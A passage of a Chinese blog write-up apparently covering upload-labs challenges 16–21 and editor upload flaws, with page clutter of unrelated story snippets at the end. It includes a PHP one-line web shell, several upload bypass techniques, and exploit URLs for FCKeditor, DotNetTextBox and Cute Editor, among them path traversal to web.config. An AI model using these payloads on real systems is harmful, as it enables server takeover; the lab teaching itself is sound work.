            $msg = "上傳出錯(cuò)婆翔!";
        }
    }
}

這里采用的 getimagesize

這個(gè)函數(shù)是通過(guò)獲取圖片數(shù)據(jù)流中頭部幾個(gè)字節(jié)來(lái)判斷圖片類型的拯杠,這樣就為webshell注入提供了機(jī)會(huì),木馬程序只需要在頭部插入相關(guān)圖片類型幾個(gè)字節(jié)啃奴,就可以繞過(guò)getimagesize的檢測(cè)潭陪。

我們這里也可以采用圖片馬繞過(guò)。

Pass-16 exif_imagetype 繞過(guò)

function isImage($filename){
    //需要開(kāi)啟php_exif模塊
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知最蕾,上傳失斠浪荨!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯(cuò)瘟则!";
        }
    }
}

方法和上面一致的

文件頭值:

jpg:FFD8FFE000104A464946
png:89504E470D0A1A0A
gif:474946383961

Pass-17 二次渲染繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 獲得上傳文件的基本信息黎炉,文件名,類型醋拧,大小慷嗜,臨時(shí)文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 獲得上傳文件的擴(kuò)展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件后綴與類型淀弹,合法才進(jìn)行上傳操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯(cuò)庆械!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "該文件不是png格式的圖片薇溃!";
                @unlink($target_path);
            }else{
                 //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上傳出錯(cuò)!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "該文件不是gif格式的圖片干奢!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯(cuò)痊焊!";
        }
    }else{
        $msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";
    }
}

這里判斷了后綴名忿峻,content-type,然后利用 imagecreatefromgif 判斷內(nèi)容辕羽,最后做了二次渲染逛尚,二次渲染的意思是利用你上傳的圖片生成一個(gè)新的圖片。

判斷圖片有沒(méi)有被二次渲染可以上傳圖片馬刁愿,然后下載服務(wù)器上的圖片绰寞,用16進(jìn)制編輯器打開(kāi)對(duì)比下。

GIF:二次渲染的繞過(guò)需要找到渲染前后沒(méi)有變化的位置铣口,然后將PHP代碼寫(xiě)進(jìn)去就可以了滤钱。
PNG和JPG的渲染繞過(guò)有點(diǎn)沒(méi)看懂。脑题。件缸。
詳情:https://xz.aliyun.com/t/2657

Pass-18 條件競(jìng)爭(zhēng)上傳

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯(cuò)叔遂!';
    }
}

可以看到這里是先上傳再做檢測(cè)他炊,如果檢測(cè)不再白名單里,則刪除已艰,我們可以利用這個(gè)時(shí)間差來(lái)做條件競(jìng)爭(zhēng)上傳

<?php fputs(fopen('x.php','w'),'<?php eval($_POST[cmd])?>');?>

然后不停的用Intruder發(fā)上傳包

image-20200106135601100

同時(shí)不停的發(fā)請(qǐng)求包痊末,利用時(shí)間差訪問(wèn)這個(gè)上傳的php

image-20200106135645234
image-20200106135838289

這個(gè)shell.php便是臨時(shí)存在的php代碼,而x.php則是我們burp請(qǐng)求到shell.php生成的哩掺。具體觀察會(huì)發(fā)現(xiàn)凿叠,shell.php生成了一會(huì)就會(huì)被刪除,如果訪問(wèn)到了嚼吞,就會(huì)生成x.php盒件,這個(gè)x.php不會(huì)被刪除。

Pass-19 條件競(jìng)爭(zhēng)配合解析漏洞上傳

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已經(jīng)被上傳誊薄,但沒(méi)有重命名履恩。';
            break; 
        case -1:
            $msg = '這個(gè)文件不能上傳到服務(wù)器的臨時(shí)文件存儲(chǔ)目錄。';
            break; 
        case -2:
            $msg = '上傳失敗呢蔫,上傳目錄不可寫(xiě)切心。';
            break; 
        case -3:
            $msg = '上傳失敗飒筑,無(wú)法上傳該類型文件。';
            break; 
        case -4:
            $msg = '上傳失敗绽昏,上傳的文件過(guò)大协屡。';
            break; 
        case -5:
            $msg = '上傳失敗,服務(wù)器已經(jīng)存在相同名稱文件全谤。';
            break; 
        case -6:
            $msg = '文件無(wú)法上傳肤晓,文件不能復(fù)制到目標(biāo)目錄。';
            break;      
        default:
            $msg = '未知錯(cuò)誤认然!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

我們看看MyUpload類的源代碼

MyUpload構(gòu)造函數(shù):

? 初始化4個(gè)值补憾,文件名,臨時(shí)文件名卷员,文件大小盈匾,重命名

isUploadedFile 函數(shù):

? is_uploaded_file函數(shù)檢測(cè)是否為http post上傳文件

setDir 函數(shù)

? 初始化上傳路勁

checkExtension 函數(shù):

? 檢測(cè)后綴(白名單檢測(cè))

checkSize 函數(shù):

? 檢測(cè)文件大小

move 函數(shù):

? 上傳臨時(shí)文件

checkFileExists 函數(shù):

? 檢測(cè)文件是否存在

renameFile 函數(shù):

? 將上傳的文件改名

再看 upload 函數(shù)經(jīng)過(guò)檢測(cè)后

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
$this->cls_upload_dir . $this->cls_filename
$this->cls_upload_dir為$status_code = $u->upload(UPLOAD_PATH);主函數(shù)設(shè)置的全局變量
define("UPLOAD_PATH", "../upload");  config.php文件里的定義
這里展示的是上傳文件名為../upload拼接文件名

這里是先上傳再改名,意思是如果能繞過(guò)上面的檢測(cè)毕骡,就能通過(guò)條件競(jìng)爭(zhēng)來(lái)上傳了削饵。

官網(wǎng)上說(shuō)的是必須利用LINUX環(huán)境。我們可以嘗試?yán)胊pache解析漏洞配合未巫。

image-20200106200223855
image-20200106200136020

操作和上面的一個(gè)一樣窿撬,我們這里傳的一個(gè)x.php.tiff,然后不停的發(fā)包請(qǐng)求叙凡,利用的apache解析漏洞

image-20200106200702544

就能成功利用了

Pass-20 CVE-2015-2348

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上傳出錯(cuò)劈伴!';
            }
        }else{
            $msg = '禁止保存為該類型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建狭姨!';
    }
}

這里使用了 pathinfo 返回字符串再檢測(cè)宰啦,然后利用 move_uploaded_file 上傳

這個(gè)函數(shù)存在任意文件上傳的漏洞CVE-2015-2348

image-20200106202705924

我們這里 $file_name 可控,就導(dǎo)致 $img_path 饼拍,就導(dǎo)致 move_uploaded_file 函數(shù)里的 $destination 可控赡模。

這里采用00截?cái)?/p>

image-20200106203326421

網(wǎng)上另外的解法是 1.php/. ,因?yàn)?move_uploaded_file 上傳時(shí)會(huì)忽略 /.

Pass-21 數(shù)組繞過(guò)

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該后綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功师抄!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失斃旄獭!";
            }
        }
    }
}else{
    $msg = "請(qǐng)選擇要上傳的文件叨吮!";
}

我們這里分析下源碼

$allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type))

首先辆布,這里進(jìn)行了文件類型檢測(cè),MIME

if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

這里如果$file不是數(shù)組茶鉴,則按照 . 分割成數(shù)組并小寫(xiě)(如果傳入數(shù)組則繞過(guò)這步)

$ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix))

取數(shù)組的最后一個(gè)來(lái)進(jìn)行白名單驗(yàn)證(如果我們直接傳入的數(shù)組最后一個(gè)是在白名單里锋玲,則繞過(guò)這步)

$file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) 

$file_name為數(shù)組里第一個(gè)拼接一個(gè) . 再拼接數(shù)組第長(zhǎng)度減一個(gè)再上傳

我們這里可以構(gòu)造一個(gè)數(shù)組[0] [2],[0]來(lái)構(gòu)成reset($file),[2]來(lái)繞過(guò)白名單

最后在拼接的時(shí)候埋酬,由于[1]為空所以會(huì)多出一個(gè) . 這里可以采用Winodws特性,或者move_uploaded_file 上傳時(shí)會(huì)忽略 /.

image-20200106210948311

0x04 編輯器上傳漏洞

FCKeditor

查看FCKeditor版本

http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html

測(cè)試文件

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

突破上傳

改擴(kuò)展名艇纺、%00截?cái)喽芡搿⑻砑游募^等

二次上傳繞過(guò)FCK在上傳了諸如shell.asp;.jpg的文件后媚污,會(huì)自動(dòng)將文件名改為shell_asp;.jpg⊥⒀牛可以繼續(xù)上傳同名文件耗美,文件名會(huì)變?yōu)閟hell.asp;(1).jpg

提交shell.php+空格繞過(guò)(windows特性)

IIS6.0突破文件夾限制

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

文件解析限制

通過(guò)FCKeditor編輯器在文件上傳頁(yè)面中,創(chuàng)建1.asp文件夾航缀,然后再到該文件夾下上傳圖片商架,配合iis6.0解析漏洞

http://www.xxx.com/images/upload/201806/image/1.asp/1.jpg

Ewebeditor

進(jìn)入后臺(tái)

弱口令
下載默認(rèn)數(shù)據(jù)庫(kù) ewebeditor/db/ewebeditor.mdb
burp爆破
利用注入點(diǎn)

然后添加樣式,添加按鈕芥玉,使用IE瀏覽器(不可以上傳的話打開(kāi)兼容性視圖設(shè)置)上傳

CKFinder

其1.4.3 asp.net版本存在任意文件上傳漏洞

Kindeditor

<= 4.10 存在文件上傳漏洞

只能上傳 html, htm 釣魚(yú)

南方數(shù)據(jù)編輯器southidceditor

登陸后臺(tái)甸私,利用編輯器上傳,訪問(wèn)admin/southidceditor/admin_style.asp飞傀,修改編輯器央視,增加asa诬烹,然后后臺(tái)上傳

UEditor

利用iis6.0解析漏洞

DotNetTextBox

關(guān)鍵字:system_dntb/
確定有system_dntb/uploadimg.aspx并能打開(kāi)砸烦,這時(shí)候是不能上傳的,由于他是驗(yàn)證cookie來(lái)得出上傳后的路徑绞吁,這樣我們可以用cookie欺騙工具
cookie:UserType=0;IsEdition=0;Info=1;
uploadFolder=../system_dntb/Upload/;
路徑可以修改幢痘,只要權(quán)限夠,上傳后改名為1.asp;.jpg利用iis解析漏洞

PHPWEB網(wǎng)站管理系統(tǒng)后臺(tái)Keditor

1家破、IIS6.0文件名解析漏洞

2颜说、%00截?cái)?/p>

Cute Editor在線編輯器本地包含漏洞

影響版本:

Cute Editor For Net 6.4

http://www.xx.com/Cute_Client?CuteEditor/Load.ashx?type=image&file=../../../web.config

總結(jié):編輯器漏洞說(shuō)到底還是采用各種上傳姿勢(shì)來(lái)進(jìn)行利用的

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市汰聋,隨后出現(xiàn)的幾起案子门粪,更是在濱河造成了極大的恐慌,老刑警劉巖烹困,帶你破解...
    沈念sama閱讀 218,525評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件玄妈,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡髓梅,警方通過(guò)查閱死者的電腦和手機(jī)拟蜻,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,203評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)枯饿,“玉大人酝锅,你說(shuō)我怎么就攤上這事∩莘剑” “怎么了搔扁?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,862評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵爸舒,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我阁谆,道長(zhǎng)碳抄,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,728評(píng)論 1 294
  • 正文 為了忘掉前任场绿,我火速辦了婚禮剖效,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘焰盗。我一直安慰自己璧尸,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,743評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布熬拒。 她就那樣靜靜地躺著爷光,像睡著了一般。 火紅的嫁衣襯著肌膚如雪澎粟。 梳的紋絲不亂的頭發(fā)上蛀序,一...
    開(kāi)封第一講書(shū)人閱讀 51,590評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音活烙,去河邊找鬼徐裸。 笑死,一個(gè)胖子當(dāng)著我的面吹牛啸盏,可吹牛的內(nèi)容都是我干的重贺。 我是一名探鬼主播,決...
    沈念sama閱讀 40,330評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼回懦,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼气笙!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起怯晕,我...
    開(kāi)封第一講書(shū)人閱讀 39,244評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤潜圃,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后贫贝,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體秉犹,經(jīng)...
    沈念sama閱讀 45,693評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,885評(píng)論 3 336
  • 正文 我和宋清朗相戀三年稚晚,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了崇堵。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,001評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡客燕,死狀恐怖鸳劳,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情也搓,我是刑警寧澤赏廓,帶...
    沈念sama閱讀 35,723評(píng)論 5 346
  • 正文 年R本政府宣布涵紊,位于F島的核電站,受9級(jí)特大地震影響幔摸,放射性物質(zhì)發(fā)生泄漏摸柄。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,343評(píng)論 3 330
  • 文/蒙蒙 一既忆、第九天 我趴在偏房一處隱蔽的房頂上張望驱负。 院中可真熱鬧,春花似錦患雇、人聲如沸跃脊。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,919評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)酪术。三九已至,卻和暖如春翠储,著一層夾襖步出監(jiān)牢的瞬間绘雁,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,042評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工援所, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留咧七,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,191評(píng)論 3 370
  • 正文 我出身青樓任斋,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親耻涛。 傳聞我的和親對(duì)象是個(gè)殘疾皇子废酷,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,955評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 1,檢測(cè)javascript類型的繞過(guò)(客戶端) -通常post請(qǐng)求發(fā)送到web服務(wù)器抹缕,客戶端javascript...
    carsonsoding閱讀 1,107評(píng)論 0 1
  • 文件上傳漏洞 常見(jiàn)的漏洞分類服務(wù)器配置不當(dāng)導(dǎo)致文件上傳開(kāi)源編輯器存在上傳漏洞本地文件上傳限制可以上傳被繞過(guò)服務(wù)器端...
    二潘閱讀 17,149評(píng)論 2 3
  • uploads-lab靶場(chǎng)闖關(guān) 0x01 Pass-01 前端檢測(cè) 源代碼 Get到j(luò)avascript的知識(shí)點(diǎn)...
    刀削面被人食了閱讀 807評(píng)論 0 0
  • 原文地址:https://xz.aliyun.com/t/6357 1. 文件上傳漏洞 1.1 漏洞簡(jiǎn)介 ? 文件...
    這是什么娃哈哈閱讀 1,697評(píng)論 0 0
  • 文件上傳漏洞是指用戶上傳了一個(gè)可執(zhí)行的腳本文件澈蟆,并通過(guò)此腳本文件獲得了執(zhí)行服務(wù)器端命令的能力。這種攻擊方式是最為直...
    付出從未后悔閱讀 1,146評(píng)論 0 4